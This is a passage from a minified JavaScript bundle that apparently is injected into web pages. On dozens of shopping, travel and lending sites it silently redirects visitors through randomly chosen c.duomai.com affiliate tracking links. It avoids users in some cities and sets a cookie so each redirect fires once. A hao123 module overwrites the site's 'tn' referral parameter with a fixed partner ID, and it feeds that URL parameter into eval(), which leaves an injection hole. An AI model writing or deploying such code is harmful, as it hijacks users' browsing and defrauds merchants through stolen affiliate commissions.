    T = ["http://c.duomai.com/track.php?k=Hdo1Ddm0DZpVXZmMzNwITPklWYmczNyUDOx0DZp9VZ0l2cmYiJGJTJt92YuUnZpF2YuV2dplnL3d3dGJTJGJTJBNTJwR", "http://c.duomai.com/track.php?k=Hdo1Ddm0DZpVXZmMzNwITPklWYmEzM2UDOx0DZp9VZ0l2cmYiJGJTJt92YuUnZpF2YuV2dplnL3d3dGJTJGJTJBNTJwR", "http://c.duomai.com/track.php?k=Hdo1Ddm0DZpVXZmMzNwITPklWYmQzM2UDOx0DZp9VZ0l2cmYiJGJTJt92YuUnZpF2YuV2dplnL3d3dGJTJGJTJBNTJwR", "http://c.duomai.com/track.php?k=Hdo1Ddm0DZpVXZmMzNwITPklWYmczM2UDOx0DZp9VZ0l2cmYiJGJTJt92YuUnZpF2YuV2dplnL3d3dGJTJGJTJBNTJwR", "http://c.duomai.com/track.php?k=Hdo1Ddm0DZpVXZmMzNwITPklWYmADN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuUnZpF2YuV2dplnL3d3dGJTJGJTJBNTJwR", "http://c.duomai.com/track.php?k=Hdo1Ddm0DZpVXZmMzNwITPklWYmMDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuUnZpF2YuV2dplnL3d3dGJTJGJTJBNTJwR", "http://c.duomai.com/track.php?k=Hdo1Ddm0DZpVXZmMzNwITPklWYmYDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuUnZpF2YuV2dplnL3d3dGJTJGJTJBNTJwR", "http://c.duomai.com/track.php?k=Hdo1Ddm0DZpVXZmMzNwITPklWYmkDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuUnZpF2YuV2dplnL3d3dGJTJGJTJBNTJwR", "http://c.duomai.com/track.php?k=Hdo1Ddm0DZpVXZmMzNwITPklWYmITN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuUnZpF2YuV2dplnL3d3dGJTJGJTJBNTJwR", "http://c.duomai.com/track.php?k=Hdo1Ddm0DZpVXZmMzNwITPklWYmUTN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuUnZpF2YuV2dplnL3d3dGJTJGJTJBNTJwR"],
    U = ["http://c.duomai.com/track.php?k=m0DZpVXZmkzM0ITPklWYmczNyUDOx0DZp9VZ0l2cmYSbvNmL1hmbplnL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmkzM0ITPklWYmEzM2UDOx0DZp9VZ0l2cmYSbvNmL1hmbplnL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmkzM0ITPklWYmQzM2UDOx0DZp9VZ0l2cmYSbvNmL1hmbplnL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmkzM0ITPklWYmczM2UDOx0DZp9VZ0l2cmYSbvNmL1hmbplnL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmkzM0ITPklWYmADN2UDOx0DZp9VZ0l2cmYSbvNmL1hmbplnL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmkzM0ITPklWYmMDN2UDOx0DZp9VZ0l2cmYSbvNmL1hmbplnL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmkzM0ITPklWYmYDN2UDOx0DZp9VZ0l2cmYSbvNmL1hmbplnL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmkzM0ITPklWYmkDN2UDOx0DZp9VZ0l2cmYSbvNmL1hmbplnL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmkzM0ITPklWYmITN2UDOx0DZp9VZ0l2cmYSbvNmL1hmbplnL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmkzM0ITPklWYmUTN2UDOx0DZp9VZ0l2cmYSbvNmL1hmbplnL3d3dGJTJGJTJBNTJwRHdo1Dd"],
    V = ["http://c.duomai.com/track.php?k=WP0ZSPklWdlZiMygTPklWYmczNyUDOx0DZp9VZ0l2cmYiRyUibj5SbvNmL4gjL3d3dGJTJGJTJBNTJzBHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiMygTPklWYmEzM2UDOx0DZp9VZ0l2cmYiRyUibj5SbvNmL4gjL3d3dGJTJGJTJBNTJzBHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiMygTPklWYmQzM2UDOx0DZp9VZ0l2cmYiRyUibj5SbvNmL4gjL3d3dGJTJGJTJBNTJzBHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiMygTPklWYmczM2UDOx0DZp9VZ0l2cmYiRyUibj5SbvNmL4gjL3d3dGJTJGJTJBNTJzBHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiMygTPklWYmADN2UDOx0DZp9VZ0l2cmYiRyUibj5SbvNmL4gjL3d3dGJTJGJTJBNTJzBHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiMygTPklWYmMDN2UDOx0DZp9VZ0l2cmYiRyUibj5SbvNmL4gjL3d3dGJTJGJTJBNTJzBHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiMygTPklWYmYDN2UDOx0DZp9VZ0l2cmYiRyUibj5SbvNmL4gjL3d3dGJTJGJTJBNTJzBHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiMygTPklWYmkDN2UDOx0DZp9VZ0l2cmYiRyUibj5SbvNmL4gjL3d3dGJTJGJTJBNTJzBHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiMygTPklWYmITN2UDOx0DZp9VZ0l2cmYiRyUibj5SbvNmL4gjL3d3dGJTJGJTJBNTJzBHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZiMygTPklWYmUTN2UDOx0DZp9VZ0l2cmYiRyUibj5SbvNmL4gjL3d3dGJTJGJTJBNTJzBHd0h"],
    W = ["http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ4UTPklWYmczNyUDOx0DZp9VZ0l2cmYiJGJTJt92YuQGa55yd3dnRyUiRyUSQzUCc0RHa", "http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ4UTPklWYmEzM2UDOx0DZp9VZ0l2cmYiJGJTJt92YuQGa55yd3dnRyUiRyUSQzUCc0RHa", "http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ4UTPklWYmQzM2UDOx0DZp9VZ0l2cmYiJGJTJt92YuQGa55yd3dnRyUiRyUSQzUCc0RHa", "http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ4UTPklWYmczM2UDOx0DZp9VZ0l2cmYiJGJTJt92YuQGa55yd3dnRyUiRyUSQzUCc0RHa", "http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ4UTPklWYmADN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuQGa55yd3dnRyUiRyUSQzUCc0RHa", "http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ4UTPklWYmMDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuQGa55yd3dnRyUiRyUSQzUCc0RHa", "http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ4UTPklWYmYDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuQGa55yd3dnRyUiRyUSQzUCc0RHa", "http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ4UTPklWYmkDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuQGa55yd3dnRyUiRyUSQzUCc0RHa", "http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ4UTPklWYmITN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuQGa55yd3dnRyUiRyUSQzUCc0RHa", "http://c.duomai.com/track.php?k=9QnJ9QWa1VmJ4UTPklWYmUTN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuQGa55yd3dnRyUiRyUSQzUCc0RHa"],
    X = ["http://c.duomai.com/track.php?k=Hd0hWP0ZSPklWdlZSM3QTPklWYmczNyUDOx0DZp9VZ0l2cmwWb0hmL4VGZulmRyUSbvNmLhNXYz5ibjZkMlYkMlE0MlA", "http://c.duomai.com/track.php?k=Hd0hWP0ZSPklWdlZSM3QTPklWYmEzM2UDOx0DZp9VZ0l2cmwWb0hmL4VGZulmRyUSbvNmLhNXYz5ibjZkMlYkMlE0MlA", "http://c.duomai.com/track.php?k=Hd0hWP0ZSPklWdlZSM3QTPklWYmQzM2UDOx0DZp9VZ0l2cmwWb0hmL4VGZulmRyUSbvNmLhNXYz5ibjZkMlYkMlE0MlA", "http://c.duomai.com/track.php?k=Hd0hWP0ZSPklWdlZSM3QTPklWYmczM2UDOx0DZp9VZ0l2cmwWb0hmL4VGZulmRyUSbvNmLhNXYz5ibjZkMlYkMlE0MlA", "http://c.duomai.com/track.php?k=Hd0hWP0ZSPklWdlZSM3QTPklWYmADN2UDOx0DZp9VZ0l2cmwWb0hmL4VGZulmRyUSbvNmLhNXYz5ibjZkMlYkMlE0MlA", "http://c.duomai.com/track.php?k=Hd0hWP0ZSPklWdlZSM3QTPklWYmMDN2UDOx0DZp9VZ0l2cmwWb0hmL4VGZulmRyUSbvNmLhNXYz5ibjZkMlYkMlE0MlA", "http://c.duomai.com/track.php?k=Hd0hWP0ZSPklWdlZSM3QTPklWYmYDN2UDOx0DZp9VZ0l2cmwWb0hmL4VGZulmRyUSbvNmLhNXYz5ibjZkMlYkMlE0MlA", "http://c.duomai.com/track.php?k=Hd0hWP0ZSPklWdlZSM3QTPklWYmkDN2UDOx0DZp9VZ0l2cmwWb0hmL4VGZulmRyUSbvNmLhNXYz5ibjZkMlYkMlE0MlA", "http://c.duomai.com/track.php?k=Hd0hWP0ZSPklWdlZSM3QTPklWYmITN2UDOx0DZp9VZ0l2cmwWb0hmL4VGZulmRyUSbvNmLhNXYz5ibjZkMlYkMlE0MlA", "http://c.duomai.com/track.php?k=Hd0hWP0ZSPklWdlZSM3QTPklWYmUTN2UDOx0DZp9VZ0l2cmwWb0hmL4VGZulmRyUSbvNmLhNXYz5ibjZkMlYkMlE0MlA"],
    Y = ["http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmQTM4ITPklWYmczNyUDOx0DZp9VZ0l2cmYkMl02bj5SZ1FXauVHblVmZu42YGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmQTM4ITPklWYmEzM2UDOx0DZp9VZ0l2cmYkMl02bj5SZ1FXauVHblVmZu42YGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmQTM4ITPklWYmQzM2UDOx0DZp9VZ0l2cmYkMl02bj5SZ1FXauVHblVmZu42YGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmQTM4ITPklWYmczM2UDOx0DZp9VZ0l2cmYkMl02bj5SZ1FXauVHblVmZu42YGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmQTM4ITPklWYmADN2UDOx0DZp9VZ0l2cmYkMl02bj5SZ1FXauVHblVmZu42YGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmQTM4ITPklWYmMDN2UDOx0DZp9VZ0l2cmYkMl02bj5SZ1FXauVHblVmZu42YGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmQTM4ITPklWYmYDN2UDOx0DZp9VZ0l2cmYkMl02bj5SZ1FXauVHblVmZu42YGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmQTM4ITPklWYmkDN2UDOx0DZp9VZ0l2cmYkMl02bj5SZ1FXauVHblVmZu42YGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmQTM4ITPklWYmITN2UDOx0DZp9VZ0l2cmYkMl02bj5SZ1FXauVHblVmZu42YGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmQTM4ITPklWYmUTN2UDOx0DZp9VZ0l2cmYkMl02bj5SZ1FXauVHblVmZu42YGJTJGJTJBNTJwRHd"],
    Z = ["http://c.duomai.com/track.php?k=Ddm0DZpVXZmUTNzITPklWYmczNyUDOx0DZp9VZ0l2cmYiRyUSbvNmLwlmc0lmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmUTNzITPklWYmEzM2UDOx0DZp9VZ0l2cmYiRyUSbvNmLwlmc0lmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmUTNzITPklWYmQzM2UDOx0DZp9VZ0l2cmYiRyUSbvNmLwlmc0lmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmUTNzITPklWYmczM2UDOx0DZp9VZ0l2cmYiRyUSbvNmLwlmc0lmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmUTNzITPklWYmADN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLwlmc0lmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmUTNzITPklWYmMDN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLwlmc0lmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmUTNzITPklWYmYDN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLwlmc0lmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmUTNzITPklWYmkDN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLwlmc0lmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmUTNzITPklWYmITN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLwlmc0lmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmUTNzITPklWYmUTN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLwlmc0lmL3d3dGJTJGJTJBNTJwRHdo1"],
    $ = ["http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ0YTPklWYmczNyUDOx0DZp9VZ0l2cmYkMl02bj5yZuFGZn5WYk5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ0YTPklWYmEzM2UDOx0DZp9VZ0l2cmYkMl02bj5yZuFGZn5WYk5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ0YTPklWYmQzM2UDOx0DZp9VZ0l2cmYkMl02bj5yZuFGZn5WYk5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ0YTPklWYmczM2UDOx0DZp9VZ0l2cmYkMl02bj5yZuFGZn5WYk5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ0YTPklWYmADN2UDOx0DZp9VZ0l2cmYkMl02bj5yZuFGZn5WYk5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ0YTPklWYmMDN2UDOx0DZp9VZ0l2cmYkMl02bj5yZuFGZn5WYk5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ0YTPklWYmYDN2UDOx0DZp9VZ0l2cmYkMl02bj5yZuFGZn5WYk5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ0YTPklWYmkDN2UDOx0DZp9VZ0l2cmYkMl02bj5yZuFGZn5WYk5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ0YTPklWYmITN2UDOx0DZp9VZ0l2cmYkMl02bj5yZuFGZn5WYk5yd3dnRyUiRyUSQzUCc0R", "http://c.duomai.com/track.php?k=Ha9QnJ9QWa1VmJ0YTPklWYmUTN2UDOx0DZp9VZ0l2cmYkMl02bj5yZuFGZn5WYk5yd3dnRyUiRyUSQzUCc0R"],
    _ = ["http://c.duomai.com/track.php?k=Ddm0DZpVXZmQzN4ITPklWYmczNyUDOx0DZp9VZ0l2cmYkMl02bj5CevJWZtVWbu42YGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmQzN4ITPklWYmEzM2UDOx0DZp9VZ0l2cmYkMl02bj5CevJWZtVWbu42YGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmQzN4ITPklWYmQzM2UDOx0DZp9VZ0l2cmYkMl02bj5CevJWZtVWbu42YGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmQzN4ITPklWYmczM2UDOx0DZp9VZ0l2cmYkMl02bj5CevJWZtVWbu42YGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmQzN4ITPklWYmADN2UDOx0DZp9VZ0l2cmYkMl02bj5CevJWZtVWbu42YGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmQzN4ITPklWYmMDN2UDOx0DZp9VZ0l2cmYkMl02bj5CevJWZtVWbu42YGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmQzN4ITPklWYmYDN2UDOx0DZp9VZ0l2cmYkMl02bj5CevJWZtVWbu42YGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmQzN4ITPklWYmkDN2UDOx0DZp9VZ0l2cmYkMl02bj5CevJWZtVWbu42YGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmQzN4ITPklWYmITN2UDOx0DZp9VZ0l2cmYkMl02bj5CevJWZtVWbu42YGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmQzN4ITPklWYmUTN2UDOx0DZp9VZ0l2cmYkMl02bj5CevJWZtVWbu42YGJTJGJTJBNTJwRHdo1"],
    aa = ["http://c.duomai.com/track.php?k=SPklWdlZSO1QTPklWYmczNyUDOx0DZp9VZ0l2cmYiJt92YukHbuc3d3ZkMlYkMlE0MlAHd0hWP0Z", "http://c.duomai.com/track.php?k=SPklWdlZSO1QTPklWYmEzM2UDOx0DZp9VZ0l2cmYiJt92YukHbuc3d3ZkMlYkMlE0MlAHd0hWP0Z", "http://c.duomai.com/track.php?k=SPklWdlZSO1QTPklWYmQzM2UDOx0DZp9VZ0l2cmYiJt92YukHbuc3d3ZkMlYkMlE0MlAHd0hWP0Z", "http://c.duomai.com/track.php?k=SPklWdlZSO1QTPklWYmczM2UDOx0DZp9VZ0l2cmYiJt92YukHbuc3d3ZkMlYkMlE0MlAHd0hWP0Z", "http://c.duomai.com/track.php?k=SPklWdlZSO1QTPklWYmADN2UDOx0DZp9VZ0l2cmYiJt92YukHbuc3d3ZkMlYkMlE0MlAHd0hWP0Z", "http://c.duomai.com/track.php?k=SPklWdlZSO1QTPklWYmMDN2UDOx0DZp9VZ0l2cmYiJt92YukHbuc3d3ZkMlYkMlE0MlAHd0hWP0Z", "http://c.duomai.com/track.php?k=SPklWdlZSO1QTPklWYmYDN2UDOx0DZp9VZ0l2cmYiJt92YukHbuc3d3ZkMlYkMlE0MlAHd0hWP0Z", "http://c.duomai.com/track.php?k=SPklWdlZSO1QTPklWYmkDN2UDOx0DZp9VZ0l2cmYiJt92YukHbuc3d3ZkMlYkMlE0MlAHd0hWP0Z", "http://c.duomai.com/track.php?k=SPklWdlZSO1QTPklWYmITN2UDOx0DZp9VZ0l2cmYiJt92YukHbuc3d3ZkMlYkMlE0MlAHd0hWP0Z", "http://c.duomai.com/track.php?k=SPklWdlZSO1QTPklWYmEjN2UDOx0DZp9VZ0l2cmYiJt92YukHbuc3d3ZkMlYkMlE0MlAHd0hWP0Z"],
    ba = ["http://c.duomai.com/track.php?k=wRHdo1Ddm0DZpVXZmkDN2ITPklWYmczNyUDOx0DZp9VZ0l2cmYibj5SbvNmLlJ3b0NHdm92cvJ3Yp1mL3d3dGJTJGJTJBNTJ", "http://c.duomai.com/track.php?k=wRHdo1Ddm0DZpVXZmkDN2ITPklWYmEzM2UDOx0DZp9VZ0l2cmYibj5SbvNmLlJ3b0NHdm92cvJ3Yp1mL3d3dGJTJGJTJBNTJ", "http://c.duomai.com/track.php?k=wRHdo1Ddm0DZpVXZmkDN2ITPklWYmQzM2UDOx0DZp9VZ0l2cmYibj5SbvNmLlJ3b0NHdm92cvJ3Yp1mL3d3dGJTJGJTJBNTJ", "http://c.duomai.com/track.php?k=wRHdo1Ddm0DZpVXZmkDN2ITPklWYmczM2UDOx0DZp9VZ0l2cmYibj5SbvNmLlJ3b0NHdm92cvJ3Yp1mL3d3dGJTJGJTJBNTJ", "http://c.duomai.com/track.php?k=wRHdo1Ddm0DZpVXZmkDN2ITPklWYmADN2UDOx0DZp9VZ0l2cmYibj5SbvNmLlJ3b0NHdm92cvJ3Yp1mL3d3dGJTJGJTJBNTJ", "http://c.duomai.com/track.php?k=wRHdo1Ddm0DZpVXZmkDN2ITPklWYmMDN2UDOx0DZp9VZ0l2cmYibj5SbvNmLlJ3b0NHdm92cvJ3Yp1mL3d3dGJTJGJTJBNTJ", "http://c.duomai.com/track.php?k=wRHdo1Ddm0DZpVXZmkDN2ITPklWYmYDN2UDOx0DZp9VZ0l2cmYibj5SbvNmLlJ3b0NHdm92cvJ3Yp1mL3d3dGJTJGJTJBNTJ", "http://c.duomai.com/track.php?k=wRHdo1Ddm0DZpVXZmkDN2ITPklWYmkDN2UDOx0DZp9VZ0l2cmYibj5SbvNmLlJ3b0NHdm92cvJ3Yp1mL3d3dGJTJGJTJBNTJ", "http://c.duomai.com/track.php?k=wRHdo1Ddm0DZpVXZmkDN2ITPklWYmITN2UDOx0DZp9VZ0l2cmYibj5SbvNmLlJ3b0NHdm92cvJ3Yp1mL3d3dGJTJGJTJBNTJ", "http://c.duomai.com/track.php?k=wRHdo1Ddm0DZpVXZmkDN2ITPklWYmUTN2UDOx0DZp9VZ0l2cmYibj5SbvNmLlJ3b0NHdm92cvJ3Yp1mL3d3dGJTJGJTJBNTJ"],
    ca = Math.floor(10 * Math.random()),
    da = function() {
        e.isHomeGM ? location.href = i[ca] : e.isHomeZhe800 && !location.href.match(/www\.zhe800\.com\/[A-z]/) ? d.ipLocalCity().match(/北京/) || (location.href = f[ca]) : e.isHomeNuomi && !location.href.match(/nuomi\.com\/[A-z]/) ? d.ipLocalCity().match(/北京/) || (location.href = g[ca]) : e.isHomeYixun && !location.href.match(/www\.yixun\.com\/[A-z]/) ? location.href = j[ca] : e.isHomeJD && !location.href.match(/^http:\/\/www\.jd\.com\/$/) ? d.ipLocalCity().match(/北京/) || (location.href = h[ca]) : e.isYouhuo ? d.ipLocalCity().match(/北京/) || (location.href = k[ca]) : e.isMeilihui && location.href.match(/index\.html/) ? location.href = l[ca] : e.isNiwodai && !location.href.match(/www\.niwodai\.com\/[A-z]/) ? location.href = m[ca] : e.isQunar ? location.href = n[ca] : e.isMGJ && !location.href.match(/www\.mogujie\.com\/[A-z]/) ? d.ipLocalCity().match(/北京|杭州/) || (location.href = o[ca]) : location.host.match(/www\.mi\.com/) && !location.href.match(/www\.mi\.com\/[A-z]/) ? d.ipLocalCity().match(/北京/) || (location.href = p[ca]) : location.host.match(/www\.tootoo\.cn/) && !location.href.match(/www\.tootoo\.cn\/[A-z]/) ? location.href = q[ca] : location.host.match(/www\.kaola\.com/) && !location.href.match(/www\.kaola\.com\/[A-z]/) ? d.ipLocalCity().match(/杭州/) || (location.href = r[ca]) : e.isHomeJumei ? location.href = s[ca] : location.host.match(/www\.sfbest\.com/) && !location.href.match(/www\.sfbest\.com\/[A-z]/) ? location.href = t[ca] : location.host.match(/www\.mbaobao\.com/) ? location.href = u[ca] : e.isHomeVIP ? d.ipLocalCity().match(/广州/) || (location.href = v[rand]) : location.host.match(/www\.ebay\.com/) && !location.href.match(/www\.ebay\.com\/[A-z]/) ? d.ipLocalCity().match(/上海/) || (location.href = "http://c.duomai.com/track.php?k=Ddm0DZpVXZmMTMxETPklWYmczNyUDOx0DZp9VZ0l2cmYiJGJTJt92YukXYiVmL3d3dGJTJGJTJBNTJwRHdo1") : location.host.match(/www\.keede\.com/) && !location.href.match(/www\.keede\.com\/[A-z]/) ? location.href = w[ca] : location.host.match(/www\.secoo\.com/) ? location.href = x[ca] : location.host.match(/www\.tujia\.com/) && !location.href.match(/www\.tujia\.com\/[A-z]/) ? location.href = y[ca] : location.host.match(/www\.jiuxian\.com/) ? location.href = z[ca] : location.host.match(/www\.lookfantastic\.com/) && location.href.match(/home/) ? location.href = B[ca] : location.host.match(/www\.daling\.com/) && !location.href.match(/www\.daling\.com\/[A-z]/) ? location.href = A[ca] : location.host.match(/111\.com\.cn/) && !location.href.match(/111\.com\.cn\/[A-z]/) ? location.href = C[ca] : location.host.match(/agoda/) ? location.href = D[ca] : location.host.match(/booking/) && location.href.match(/booking\.com\/index/) ? location.href = E[ca] : location.host.match(/mybag/) && location.href.match(/home/) ? location.href = F[ca] : location.host.match(/unineed/) && !location.href.match(/unineed\.com\/[A-z]/) ? location.href = G[ca] : location.host.match(/womai/) && location.href.match(/womai\.com\/index/) ? location.href = H[ca] : location.host.match(/fengqu\.com/) && !location.href.match(/fengqu\.com\/[A-z]/) ? location.href = I[ca] : location.host.match(/glabuy/) && !location.href.match(/glabuy\.com\/[A-z]/) ? location.href = J[ca] : location.host.match(/english\.ctrip/) && !location.href.match(/english\.ctrip\.com\/[A-z]/) ? location.href = K[ca] : location.host.match(/228\.com\.cn/) && !location.href.match(/228\.com\.cn\/[A-z]/) ? location.href = L[ca] : location.host.match(/midea/) && !location.href.match(/midea\.com\.cn\/[A-z]/) ? d.ipLocalCity().match(/佛山|深圳/) || (location.href = M[ca]) : location.host.match(/rong360/) ? location.href = N[ca] : location.host.match(/www\.chanrongdai\.com/) && !location.href.match(/www\.chanrongdai\.com\/[A-z]/) ? location.href = O[ca] : location.host.match(/www\.lctuan\.com/) && !location.href.match(/www\.lctuan\.com\/[A-z]/) ? location.href = P[ca] : location.host.match(/www\.longdai\.com/) && !location.href.match(/www\.longdai\.com\/[A-z]/) ? location.href = Q[ca] : location.host.match(/touna\.cn/) && !location.href.match(/touna\.cn\/[A-z]/) ? location.href = R[ca] : location.host.match(/www\.vobank\.com/) && !location.href.match(/www\.vobank\.com\/[A-z]/) ? location.href = S[ca] : location.host.match(/www\.yiwencaifu\.com/) && !location.href.match(/www\.yiwencaifu\.com\/[A-z]/) ? location.href = T[ca] : location.host.match(/www\.yinhu\.com/) && location.href.match(/www\.yinhu\.com\/main.bl/) ? location.href = U[ca] : location.host.match(/www\.88\.com\.cn/) && !location.href.match(/88\.com\.cn\/[A-z]/) ? location.href = V[ca] : location.href.match(/www\.yhd\.com/) ? d.ipLocalCity().match(/北京|上海/) || (location.href = W[ca]) : location.href.match(/cn\.sasa\.com/) ? location.href = X[ca] : location.href.match(/www\.microsoftstore\.com\.cn/) ? location.href = ba[ca] : location.href.match(/cn\.memebox\.com/) ? location.href = _[ca] : location.href.match(/cn\.feelunique\.com/) ? location.href = Y[ca] : location.href.match(/cn\.sasa\.com/) ? location.href = X[ca] : location.href.match(/www\.itrip\.com/) ? location.href = Z[ca] : location.href.match(/www\.dangdang\.com/) ? d.ipLocalCity().match(/北京/) || (location.href = $[ca]) : location.href.match(/www\.ly\.com/) && (location.href = aa[ca])
    },
    ea = document.referrer;
    d.cookie.get().duomai || "" === ea || (d.cookie.set({
        name: "duomai",
        value: !0,
        min: 1,
        path: "/"
    }), d.cookie.get().duomai && da())
}),
__tk2__define("view/hao123", ["../utils", "../lib/jquery.min"],
function(require, exports, module) {
    var utils = require("../utils"),
    url = utils.href,
    getUrlParam = function(a) {
        var b = new RegExp("(^|&)" + a + "=([^&]*)(&|$)"),
        c = window.location.search.substr(1).match(b);
        return null != c ? unescape(c[2]) : null
    },
    url = location.href,
    tn = getUrlParam("tn"),
    _tn = eval("/tn=" + tn + "/");
    "90015716_hao_pg" === tn || utils.cookie.get().haoTK || (utils.cookie.set({
        name: "haoTK",
        value: !0,
        min: 5,
        path: "/",
        domain: "hao123.com"
    }), utils.cookie.get().haoTK && (null === tn ? url.match(/\?/) ? location.href = url + "&tn=90015716_hao_pg": location.href = url + "?tn=90015716_hao_pg": location.href = url.replace(_tn, "tn=90015716_hao_pg")))
}),
__tk2__define("view/insert", ["../lib/jquery.min", "../utils"],
function(a, b, c) {
    var d = window.location,
    e = d.host,
    f = d.href,
    g = "s.taobao.com",
    h = "list.taobao.com",
    i = !0,
    j = a("../lib/jquery.min"),
    k = {
        utils: a("../utils")
    },
    l = j("body");
    if (f.match(/tts_shield=true/)) return ! 1;
